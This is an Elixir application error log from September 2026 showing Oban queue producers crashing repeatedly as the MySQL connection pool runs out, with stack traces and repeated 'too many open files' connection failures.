  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:27:44.240888Z], limit: 20, uuid: "a741e7c0-0953-44d4-b464-52c83b050624", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:44.240893Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.39153>, refresh_timer: #Reference<0.2525715032.1077673987.39150>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:27:44.239562Z], limit: 5, uuid: "fb32063a-9b9f-4eee-863a-68309a212f87", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:44.239569Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61933>, refresh_timer: #Reference<0.2525715032.1068498948.61900>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:03.477000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:03.572000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:04.197000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:05.210000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:07.004000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:08.596000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:08.947000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:27:57.239578Z], limit: 50, uuid: "9976405a-6ea6-4b45-a254-69c4f4e1bfd6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:57.239583Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.39381>, refresh_timer: #Reference<0.2525715032.1068498948.62198>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:27:57.239595Z], limit: 5, uuid: "9e8d8e29-7784-44b7-a096-65fbac7f7d0b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:57.239600Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.39379>, refresh_timer: #Reference<0.2525715032.1077673987.39363>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:27:57.239513Z], limit: 5, uuid: "0a7b4bdd-8a94-4d84-894a-70b947e99200", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:57.239519Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.59023>, refresh_timer: #Reference<0.2525715032.1099431938.59015>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:27:57.239449Z], limit: 3, uuid: "80688a3b-443a-4280-8972-553b81c2fea9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:57.239455Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.39380>, refresh_timer: #Reference<0.2525715032.1077673987.39355>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:27:57.239449Z], limit: 20, uuid: "7ec0ab96-1714-4e8e-b463-edb21700005f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:57.239454Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.39377>, refresh_timer: #Reference<0.2525715032.1068498948.62191>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:27:57.239522Z], limit: 10, uuid: "03b48a6d-e831-47b9-8193-c49cdcdd419c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:57.239527Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.39378>, refresh_timer: #Reference<0.2525715032.1077673987.39359>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:16.106000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:18.791000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:19.868000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:22.129000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
